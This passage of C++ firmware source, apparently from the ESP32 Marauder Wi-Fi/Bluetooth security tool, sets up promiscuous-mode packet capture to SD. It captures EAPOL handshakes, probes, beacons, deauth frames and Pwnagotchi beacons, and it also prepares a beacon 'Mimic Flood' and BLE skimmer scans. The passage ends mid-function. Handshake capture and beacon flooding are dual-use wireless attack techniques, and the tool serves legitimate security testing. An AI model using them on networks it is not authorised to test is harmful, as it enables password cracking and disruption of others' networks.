  604. display_obj.tft.setTextColor(TFT_CYAN);
  605. display_obj.tft.println(text_table4[20]);
  606. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  607. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  608. #endif
  609. if (this->wsl_bypass_enabled) {
  610. #ifdef HAS_SCREEN
  611. display_obj.tft.println(text_table4[23]);
  612. #endif
  613. }
  614. else {
  615. #ifdef HAS_SCREEN
  616. display_obj.tft.println(text_table4[24]);
  617. #endif
  618. }
  619. #ifdef HAS_SCREEN
  620. display_obj.tft.println(text_table4[25] + sta_mac);
  621. display_obj.tft.println(text_table4[26] + ap_mac);
  622. display_obj.tft.println(text_table4[27] + free_ram);
  623. #endif
  624. if (sd_obj.supported) {
  625. #ifdef HAS_SCREEN
  626. display_obj.tft.println(text_table4[28]);
  627. display_obj.tft.print(text_table4[29]);
  628. display_obj.tft.print(sd_obj.card_sz);
  629. display_obj.tft.println("MB");
  630. #endif
  631. }
  632. else {
  633. #ifdef HAS_SCREEN
  634. display_obj.tft.println(text_table4[30]);
  635. display_obj.tft.println(text_table4[31]);
  636. #endif
  637. }
  638. battery_obj.battery_level = battery_obj.getBatteryLevel();
  639. if (battery_obj.i2c_supported) {
  640. #ifdef HAS_SCREEN
  641. display_obj.tft.println(text_table4[32]);
  642. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  643. #endif
  644. }
  645. else {
  646. #ifdef HAS_SCREEN
  647. display_obj.tft.println(text_table4[34]);
  648. #endif
  649. }
  650. #ifdef HAS_SCREEN
  651. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  652. #endif
  653. }
  654. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  655. sd_obj.openCapture("espressif");
  656. #ifdef MARAUDER_FLIPPER
  657. flipper_led.sniffLED();
  658. #endif
  659. #ifdef HAS_SCREEN
  660. display_obj.TOP_FIXED_AREA_2 = 48;
  661. display_obj.tteBar = true;
  662. display_obj.print_delay_1 = 15;
  663. display_obj.print_delay_2 = 10;
  664. display_obj.initScrollValues(true);
  665. display_obj.tft.setTextWrap(false);
  666. display_obj.tft.setTextColor(TFT_WHITE, color);
  667. #ifndef MARAUDER_MINI
  668. display_obj.tft.fillRect(0,16,240,16, color);
  669. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  670. display_obj.touchToExit();
  671. #endif
  672. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  673. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  674. #endif
  675. esp_wifi_init(&cfg);
  676. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  677. esp_wifi_set_mode(WIFI_MODE_NULL);
  678. esp_wifi_start();
  679. esp_wifi_set_promiscuous(true);
  680. esp_wifi_set_promiscuous_filter(&filt);
  681. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  682. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  683. this->wifi_initialized = true;
  684. initTime = millis();
  685. }
  686. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  687. {
  688. #ifdef MARAUDER_FLIPPER
  689. flipper_led.sniffLED();
  690. #endif
  691. sd_obj.openCapture("packet_monitor");
  692. #ifndef MARAUDER_MINI
  693. #ifdef HAS_SCREEN
  694. display_obj.tft.init();
  695. display_obj.tft.setRotation(1);
  696. display_obj.tft.fillScreen(TFT_BLACK);
  697. #endif
  698. #ifdef HAS_SCREEN
  699. #ifdef TFT_SHIELD
  700. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  701. Serial.println("Using TFT Shield");
  702. #else if defined(TFT_DIY)
  703. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  704. Serial.println("Using TFT DIY");
  705. #endif
  706. display_obj.tft.setTouch(calData);
  707. //display_obj.tft.setFreeFont(1);
  708. display_obj.tft.setFreeFont(NULL);
  709. display_obj.tft.setTextSize(1);
  710. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  711. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  712. delay(10);
  713. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  714. display_obj.tftDrawColorKey();
  715. display_obj.tftDrawXScaleButtons(x_scale);
  716. display_obj.tftDrawYScaleButtons(y_scale);
  717. display_obj.tftDrawChannelScaleButtons(set_channel);
  718. display_obj.tftDrawExitScaleButtons();
  719. #endif
  720. #else
  721. #ifdef HAS_SCREEN
  722. display_obj.TOP_FIXED_AREA_2 = 48;
  723. display_obj.tteBar = true;
  724. display_obj.print_delay_1 = 15;
  725. display_obj.print_delay_2 = 10;
  726. display_obj.initScrollValues(true);
  727. display_obj.tft.setTextWrap(false);
  728. display_obj.tft.setTextColor(TFT_WHITE, color);
  729. #ifndef MARAUDER_MINI
  730. display_obj.tft.fillRect(0,16,240,16, color);
  731. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  732. display_obj.touchToExit();
  733. #endif
  734. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  735. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  736. #endif
  737. #endif
  738. Serial.println("Running packet scan...");
  739. esp_wifi_init(&cfg);
  740. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  741. esp_wifi_set_mode(WIFI_MODE_NULL);
  742. esp_wifi_start();
  743. esp_wifi_set_promiscuous(true);
  744. esp_wifi_set_promiscuous_filter(&filt);
  745. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  746. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  747. this->wifi_initialized = true;
  748. uint32_t initTime = millis();
  749. }
  750. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  751. {
  752. #ifdef MARAUDER_FLIPPER
  753. flipper_led.sniffLED();
  754. #endif
  755. num_eapol = 0;
  756. #ifndef MARAUDER_MINI
  757. #ifdef HAS_SCREEN
  758. display_obj.tft.init();
  759. display_obj.tft.setRotation(1);
  760. display_obj.tft.fillScreen(TFT_BLACK);
  761. #endif
  762. sd_obj.openCapture("eapol");
  763. #ifdef HAS_SCREEN
  764. #ifdef TFT_SHIELD
  765. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  766. //Serial.println("Using TFT Shield");
  767. #else if defined(TFT_DIY)
  768. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  769. //Serial.println("Using TFT DIY");
  770. #endif
  771. display_obj.tft.setTouch(calData);
  772. display_obj.tft.setFreeFont(NULL);
  773. display_obj.tft.setTextSize(1);
  774. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  775. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  776. delay(10);
  777. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  778. display_obj.tftDrawEapolColorKey();
  779. display_obj.tftDrawChannelScaleButtons(set_channel);
  780. display_obj.tftDrawExitScaleButtons();
  781. #endif
  782. #else
  783. sd_obj.openCapture("eapol");
  784. #ifdef HAS_SCREEN
  785. display_obj.TOP_FIXED_AREA_2 = 48;
  786. display_obj.tteBar = true;
  787. display_obj.print_delay_1 = 15;
  788. display_obj.print_delay_2 = 10;
  789. display_obj.initScrollValues(true);
  790. display_obj.tft.setTextWrap(false);
  791. display_obj.tft.setTextColor(TFT_WHITE, color);
  792. #ifndef MARAUDER_MINI
  793. display_obj.tft.fillRect(0,16,240,16, color);
  794. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  795. display_obj.touchToExit();
  796. #endif
  797. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  798. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  799. #endif
  800. #endif
  801. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  802. esp_wifi_init(&cfg);
  803. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  804. //esp_wifi_set_mode(WIFI_MODE_NULL);
  805. esp_wifi_set_mode(WIFI_AP_STA);
  806. esp_wifi_start();
  807. esp_wifi_set_promiscuous(true);
  808. esp_wifi_set_promiscuous_filter(&filt);
  809. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  810. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  811. else
  812. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  813. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  814. this->wifi_initialized = true;
  815. initTime = millis();
  816. }
  817. // Function to prepare for beacon mimic
  818. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  819. #ifdef HAS_SCREEN
  820. display_obj.TOP_FIXED_AREA_2 = 48;
  821. display_obj.tteBar = true;
  822. display_obj.print_delay_1 = 15;
  823. display_obj.print_delay_2 = 10;
  824. display_obj.initScrollValues(true);
  825. display_obj.tft.setTextWrap(false);
  826. display_obj.tft.setTextColor(TFT_BLACK, color);
  827. #ifndef MARAUDER_MINI
  828. display_obj.tft.fillRect(0,16,240,16, color);
  829. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  830. display_obj.touchToExit();
  831. #endif
  832. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  833. #endif
  834. packets_sent = 0;
  835. esp_wifi_init(&cfg);
  836. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  837. esp_wifi_set_mode(WIFI_AP_STA);
  838. esp_wifi_start();
  839. esp_wifi_set_promiscuous_filter(NULL);
  840. esp_wifi_set_promiscuous(true);
  841. esp_wifi_set_max_tx_power(78);
  842. this->wifi_initialized = true;
  843. initTime = millis();
  844. }
  845. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  846. {
  847. sd_obj.openCapture("pwnagotchi");
  848. #ifdef MARAUDER_FLIPPER
  849. flipper_led.sniffLED();
  850. #endif
  851. #ifdef HAS_SCREEN
  852. display_obj.TOP_FIXED_AREA_2 = 48;
  853. display_obj.tteBar = true;
  854. display_obj.print_delay_1 = 15;
  855. display_obj.print_delay_2 = 10;
  856. display_obj.initScrollValues(true);
  857. display_obj.tft.setTextWrap(false);
  858. display_obj.tft.setTextColor(TFT_WHITE, color);
  859. #ifndef MARAUDER_MINI
  860. display_obj.tft.fillRect(0,16,240,16, color);
  861. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  862. display_obj.touchToExit();
  863. #endif
  864. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  865. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  866. #endif
  867. esp_wifi_init(&cfg);
  868. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  869. esp_wifi_set_mode(WIFI_MODE_NULL);
  870. esp_wifi_start();
  871. esp_wifi_set_promiscuous(true);
  872. esp_wifi_set_promiscuous_filter(&filt);
  873. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  874. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  875. this->wifi_initialized = true;
  876. initTime = millis();
  877. }
  878. // Function to start running a beacon scan
  879. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  880. {
  881. sd_obj.openCapture("beacon");
  882. #ifdef MARAUDER_FLIPPER
  883. flipper_led.sniffLED();
  884. #endif
  885. #ifdef HAS_SCREEN
  886. display_obj.TOP_FIXED_AREA_2 = 48;
  887. display_obj.tteBar = true;
  888. display_obj.print_delay_1 = 15;
  889. display_obj.print_delay_2 = 10;
  890. display_obj.initScrollValues(true);
  891. display_obj.tft.setTextWrap(false);
  892. display_obj.tft.setTextColor(TFT_WHITE, color);
  893. #ifndef MARAUDER_MINI
  894. display_obj.tft.fillRect(0,16,240,16, color);
  895. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  896. display_obj.touchToExit();
  897. #endif
  898. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  899. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  900. #endif
  901. esp_wifi_init(&cfg);
  902. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  903. esp_wifi_set_mode(WIFI_MODE_NULL);
  904. esp_wifi_start();
  905. esp_wifi_set_promiscuous(true);
  906. esp_wifi_set_promiscuous_filter(&filt);
  907. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  908. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  909. this->wifi_initialized = true;
  910. initTime = millis();
  911. }
  912. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  913. {
  914. sd_obj.openCapture("deauth");
  915. #ifdef MARAUDER_FLIPPER
  916. flipper_led.sniffLED();
  917. #endif
  918. #ifdef HAS_SCREEN
  919. display_obj.TOP_FIXED_AREA_2 = 48;
  920. display_obj.tteBar = true;
  921. display_obj.print_delay_1 = 15;
  922. display_obj.print_delay_2 = 10;
  923. display_obj.initScrollValues(true);
  924. display_obj.tft.setTextWrap(false);
  925. display_obj.tft.setTextColor(TFT_BLACK, color);
  926. #ifndef MARAUDER_MINI
  927. display_obj.tft.fillRect(0,16,240,16, color);
  928. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  929. display_obj.touchToExit();
  930. #endif
  931. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  932. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  933. #endif
  934. esp_wifi_init(&cfg);
  935. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  936. esp_wifi_set_mode(WIFI_MODE_NULL);
  937. esp_wifi_start();
  938. esp_wifi_set_promiscuous(true);
  939. esp_wifi_set_promiscuous_filter(&filt);
  940. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  941. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  942. this->wifi_initialized = true;
  943. initTime = millis();
  944. }
  945. // Function for running probe request scan
  946. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  947. {
  948. sd_obj.openCapture("probe");
  949. #ifdef MARAUDER_FLIPPER
  950. flipper_led.sniffLED();
  951. #endif
  952. #ifdef HAS_SCREEN
  953. display_obj.TOP_FIXED_AREA_2 = 48;
  954. display_obj.tteBar = true;
  955. display_obj.print_delay_1 = 15;
  956. display_obj.print_delay_2 = 10;
  957. display_obj.initScrollValues(true);
  958. display_obj.tft.setTextWrap(false);
  959. display_obj.tft.setTextColor(TFT_BLACK, color);
  960. #ifndef MARAUDER_MINI
  961. display_obj.tft.fillRect(0,16,240,16, color);
  962. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  963. display_obj.touchToExit();
  964. #endif
  965. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  966. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  967. #endif
  968. esp_wifi_init(&cfg);
  969. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  970. esp_wifi_set_mode(WIFI_MODE_NULL);
  971. esp_wifi_start();
  972. esp_wifi_set_promiscuous(true);
  973. esp_wifi_set_promiscuous_filter(&filt);
  974. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  975. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  976. this->wifi_initialized = true;
  977. initTime = millis();
  978. }
  979. // Function to start running any BLE scan
  980. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  981. {
  982. #ifdef HAS_BT
  983. #ifdef HAS_SCREEN
  984. display_obj.print_delay_1 = 50;
  985. display_obj.print_delay_2 = 20;
  986. #endif
  987. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  988. NimBLEDevice::setScanDuplicateCacheSize(200);
  989. NimBLEDevice::init("");
  990. pBLEScan = NimBLEDevice::getScan(); //create new scan
  991. if (scan_mode == BT_SCAN_ALL)
  992. {
  993. #ifdef HAS_SCREEN
  994. display_obj.TOP_FIXED_AREA_2 = 48;
  995. display_obj.tteBar = true;
  996. display_obj.initScrollValues(true);
  997. display_obj.tft.setTextWrap(false);
  998. display_obj.tft.setTextColor(TFT_BLACK, color);
  999. #ifndef MARAUDER_MINI
  1000. display_obj.tft.fillRect(0,16,240,16, color);
  1001. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1002. display_obj.touchToExit();
  1003. #endif
  1004. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1005. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1006. #endif
  1007. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1008. }
  1009. else if (scan_mode == BT_SCAN_SKIMMERS)
  1010. {
  1011. #ifdef HAS_SCREEN
  1012. display_obj.TOP_FIXED_AREA_2 = 160;
  1013. display_obj.tteBar = true;
  1014. display_obj.tft.fillScreen(TFT_DARKGREY);
  1015. display_obj.initScrollValues(true);
  1016. display_obj.tft.setTextWrap(false);
  1017. display_obj.tft.setTextColor(TFT_BLACK, color);
  1018. display_obj.tft.fillRect(0,16,240,16, color);
  1019. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1020. display_obj.twoPartDisplay(text_table4[43]);
  1021. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1022. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1023. #endif
  1024. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1025. }
  1026. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1027. pBLEScan->setInterval(97);
  1028. pBLEScan->setWindow(37); // less or equal setInterval value
  1029. pBLEScan->setMaxResults(0);
  1030. pBLEScan->start(0, scanCompleteCB, false);
  1031. Serial.println("Started BLE Scan");
  1032. this->ble_initialized = true;
  1033. initTime = millis();
  1034. #endif
  1035. }
  1036. // Function that is called when BLE scan is completed
  1037. #ifdef HAS_BT
  1038. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1039. printf("Scan complete!\n");
  1040. printf("Found %d devices\n", scanResults.getCount());
  1041. scanResults.dump();
  1042. } // scanCompleteCB
  1043. #endif
  1044. // Function to extract MAC addr from a packet at given offset
  1045. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1046. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1047. }
  1048. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1049. {
  1050. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1051. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1052. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1053. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1054. int len = snifferPacket->rx_ctrl.sig_len;
  1055. String display_string = "";
  1056. String src_addr_string = "";
  1057. if (type == WIFI_PKT_MGMT)
  1058. {
  1059. len -= 4;
  1060. }
  1061. int fctl = ntohs(frameControl->fctl);
  1062. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1063. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1064. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1065. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1066. //{
  1067. char addr[] = "00:00:00:00:00:00";
  1068. getMAC(addr, snifferPacket->payload, 10);
  1069. src_addr_string.concat(addr);
  1070. bool match = false;
  1071. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1072. if (src_addr_string.startsWith(espressif_macs[i])) {
  1073. match = true;
  1074. break;
  1075. }
  1076. }
  1077. if (!match)
  1078. return;
  1079. delay(random(0, 10));
  1080. Serial.print("RSSI: ");
  1081. Serial.print(snifferPacket->rx_ctrl.rssi);
  1082. Serial.print(" Ch: ");
  1083. Serial.print(snifferPacket->rx_ctrl.channel);
  1084. Serial.print(" BSSID: ");
  1085. Serial.print(addr);
  1086. //display_string.concat(" RSSI: ");
  1087. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1088. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1089. //display_string.concat(" ");
  1090. display_string.concat(" -> ");
  1091. display_string.concat(addr);
  1092. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1093. {
  1094. display_string.concat(" ");
  1095. }
  1096. Serial.print(" ");
  1097. #ifdef HAS_SCREEN
  1098. display_obj.loading = true;
  1099. display_obj.display_buffer->add(display_string);
  1100. display_obj.loading = false;
  1101. #endif
  1102. Serial.println();
  1103. if (save_packet)
  1104. sd_obj.addPacket(snifferPacket->payload, len);
  1105. //}
  1106. }
  1107. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1108. {
  1109. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1110. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1111. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1112. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1113. int len = snifferPacket->rx_ctrl.sig_len;
  1114. String display_string = "";
  1115. String src = "";
  1116. String essid = "";
  1117. if (type == WIFI_PKT_MGMT)
  1118. {
  1119. len -= 4;
  1120. int fctl = ntohs(frameControl->fctl);
  1121. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1122. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1123. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1124. #ifdef HAS_SCREEN
  1125. int buf = display_obj.display_buffer->size();
  1126. #else
  1127. int buf = 0;
  1128. #endif
  1129. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1130. {
  1131. char addr[] = "00:00:00:00:00:00";
  1132. getMAC(addr, snifferPacket->payload, 10);
  1133. src.concat(addr);
  1134. if (src == "de:ad:be:ef:de:ad") {
  1135. delay(random(0, 10));
  1136. Serial.print("RSSI: ");
  1137. Serial.print(snifferPacket->rx_ctrl.rssi);
  1138. Serial.print(" Ch: ");
  1139. Serial.print(snifferPacket->rx_ctrl.channel);
  1140. Serial.print(" BSSID: ");
  1141. Serial.print(addr);
  1142. //display_string.concat(addr);
  1143. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1144. Serial.print(" ESSID: ");
  1145. display_string.concat(" -> ");
  1146. // Just grab the first 255 bytes of the pwnagotchi beacon
  1147. // because that is where the name is
  1148. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1149. for (int i = 0; i < len - 37; i++)
  1150. {
  1151. Serial.print((char)snifferPacket->payload[i + 38]);
  1152. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1153. if (isAscii(snifferPacket->payload[i + 38]))
  1154. essid.concat((char)snifferPacket->payload[i + 38]);
  1155. else
  1156. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1157. }
  1158. //essid.concat("\": \"\"}}");
  1159. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1160. // Load json
  1161. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1162. DynamicJsonDocument json(1024); // ArduinoJson v6
  1163. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1164. // ArduinoJson v6
  1165. if (deserializeJson(json, essid)) {
  1166. Serial.println("\nCould not parse Pwnagotchi json");
  1167. display_string.concat(essid);
  1168. }
  1169. else {
  1170. Serial.println("\nSuccessfully parsed json");
  1171. String json_output;
  1172. //json.printTo(json_output); // ArduinoJson v5
  1173. serializeJson(json, json_output); // ArduinoJson v6
  1174. Serial.println(json_output);
  1175. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1176. }
  1177. int temp_len = display_string.length();
  1178. for (int i = 0; i < 40 - temp_len; i++)
  1179. {
  1180. display_string.concat(" ");
  1181. }
  1182. Serial.print(" ");
  1183. #ifdef HAS_SCREEN
  1184. if (display_obj.display_buffer->size() == 0)
  1185. {
  1186. display_obj.loading = true;
  1187. display_obj.display_buffer->add(display_string);
  1188. display_obj.loading = false;
  1189. }
  1190. #endif
  1191. Serial.println();
  1192. if (save_packet)
  1193. sd_obj.addPacket(snifferPacket->payload, len);
  1194. }
  1195. }
  1196. }
  1197. }
  1198. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1199. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1200. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1201. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1202. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1203. int len = snifferPacket->rx_ctrl.sig_len;
  1204. String display_string = "";
  1205. String essid = "";
  1206. String bssid = "";
  1207. if (type == WIFI_PKT_MGMT)
  1208. {
  1209. len -= 4;
  1210. int fctl = ntohs(frameControl->fctl);
  1211. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1212. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1213. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1214. #ifdef HAS_SCREEN
  1215. int buf = display_obj.display_buffer->size();
  1216. #else
  1217. int buf = 0;
  1218. #endif
  1219. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1220. {
  1221. char addr[] = "00:00:00:00:00:00";
  1222. getMAC(addr, snifferPacket->payload, 10);
  1223. bool in_list = false;
  1224. bool mac_match = true;
  1225. for (int i = 0; i < access_points->size(); i++) {
  1226. mac_match = true;
  1227. //Serial.print("Checking ");
  1228. //Serial.print(addr);
  1229. //Serial.println(" against " + (String)access_points->get(i).essid);
  1230. for (int x = 0; x < 6; x++) {
  1231. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1232. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1233. mac_match = false;
  1234. //Serial.println("MACs do not match");
  1235. break;
  1236. }
  1237. }
  1238. if (mac_match) {
  1239. in_list = true;
  1240. break;
  1241. }
  1242. }
  1243. if (!in_list) {
  1244. delay(random(0, 10));
  1245. Serial.print("RSSI: ");
  1246. Serial.print(snifferPacket->rx_ctrl.rssi);
  1247. Serial.print(" Ch: ");
  1248. Serial.print(snifferPacket->rx_ctrl.channel);
  1249. Serial.print(" BSSID: ");
  1250. Serial.print(addr);
  1251. display_string.concat(addr);
  1252. Serial.print(" ESSID: ");
  1253. display_string.concat(" -> ");
  1254. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1255. {
  1256. Serial.print((char)snifferPacket->payload[i + 38]);
  1257. display_string.concat((char)snifferPacket->payload[i + 38]);
  1258. essid.concat((char)snifferPacket->payload[i + 38]);
  1259. }
  1260. bssid.concat(addr);
  1261. int temp_len = display_string.length();
  1262. for (int i = 0; i < 40 - temp_len; i++)
  1263. {
  1264. display_string.concat(" ");
  1265. }
  1266. Serial.print(" ");
  1267. #ifdef HAS_SCREEN
  1268. if (display_obj.display_buffer->size() == 0)
  1269. {
  1270. display_obj.loading = true;
  1271. display_obj.display_buffer->add(display_string);
  1272. display_obj.loading = false;
  1273. }
  1274. #endif
  1275. if (essid == "") {
  1276. essid = bssid;
  1277. Serial.print(essid + " ");
  1278. }
  1279. //LinkedList<char> beacon = new LinkedList<char>();
  1280. /*AccessPoint ap = {essid,
  1281. snifferPacket->rx_ctrl.channel,
  1282. {snifferPacket->payload[10],
  1283. snifferPacket->payload[11],
  1284. snifferPacket->payload[12],
  1285. snifferPacket->payload[13],
  1286. snifferPacket->payload[14],
  1287. snifferPacket->payload[15]},
  1288. false,
  1289. NULL};*/
  1290. AccessPoint ap;
  1291. ap.essid = essid;
  1292. ap.channel = snifferPacket->rx_ctrl.channel;
  1293. ap.bssid[0] = snifferPacket->payload[10];
  1294. ap.bssid[1] = snifferPacket->payload[11];
  1295. ap.bssid[2] = snifferPacket->payload[12];
  1296. ap.bssid[3] = snifferPacket->payload[13];
  1297. ap.bssid[4] = snifferPacket->payload[14];
  1298. ap.bssid[5] = snifferPacket->payload[15];
  1299. ap.selected = false;
  1300. ap.beacon = new LinkedList<char>();
  1301. //for (int i = 0; i < len; i++) {
  1302. // ap.beacon->add(snifferPacket->payload[i]);
  1303. //}
  1304. ap.beacon->add(snifferPacket->payload[34]);
  1305. ap.beacon->add(snifferPacket->payload[35]);
  1306. Serial.print("\nBeacon: ");
  1307. for (int i = 0; i < ap.beacon->size(); i++) {
  1308. char hexCar[4];
  1309. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1310. Serial.print(hexCar);
  1311. if ((i + 1) % 16 == 0)
  1312. Serial.print("\n");
  1313. else
  1314. Serial.print(" ");
  1315. }
  1316. access_points->add(ap);
